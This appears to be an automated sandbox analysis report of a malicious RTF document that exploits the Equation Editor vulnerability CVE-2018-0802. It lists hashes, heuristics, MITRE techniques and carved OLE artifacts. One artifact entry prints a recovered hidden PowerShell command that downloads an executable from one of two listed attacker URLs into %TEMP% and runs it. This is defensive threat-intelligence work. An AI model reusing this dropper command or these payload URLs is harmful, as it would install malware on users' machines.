RTF malware analysis — malicious · 359c7d670d00d1ce

MALICIOUS

RTF

54.0 KB First seen: 2018-06-14

MD5: 5ea7f41b618122a1a166d32988b4d51c SHA-1: ea994d5fbb7c198accdbc36a980812b7a554520a SHA-256: 359c7d670d00d1ce72c51106886768a84d37cd3eb8463015a35d01936b00a184

262 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple indicators of exploitation, including OLE object data and specific Equation Editor CLSID information, strongly suggesting the exploitation of CVE-2018-0802. The presence of embedded URLs pointing to executable files indicates a downloader functionality, aiming to retrieve and execute a second-stage payload. The ClamAV detection name further corroborates the identified vulnerability.

Heuristics 7

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 5 \objdata section(s) — embedded OLE objects
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://figs4u.co.uk/logo.bin In RTF body
- http://responsivepixels.co.uk/logo.binIn RTF body

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00005afb.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x5AFB	377 bytes
SHA-256: `9f9df4f20bf46ffe79f02ef9500bcd656d2853d076bd9955c086799dc82c74b0`
`objdata_01_off000079bc.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x79BC	221 bytes
SHA-256: `ad609ffc162a8f2c51146179a90ce98f4af7f47c54c9abe165f6c6d053ed0b92`
`objdata_02_off00007bd8.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x7BD8	496 bytes
SHA-256: `1388a7f65731b4557770a77f3cbcdfe092bc5022f0e49cc8e1d8caed66cbc1b3`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://figs4u.co.uk/logo.bin Static shellcode analysis recovered command string(s): PowerShell -W Hidden ""function jester18([String] $hothenry){(New-Object System.Net.WebClient).DownloadFile($hothenry,'%TEMP%\ounehcnaykuL.exe');Start-Process '%TEMP%\oun
`objdata_03_off000087e4.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x87E4	4681 bytes
SHA-256: `2739ee55bfe1b2a7508c33fd0cfd32fd82a891d81959369110cce62e729ae09e`

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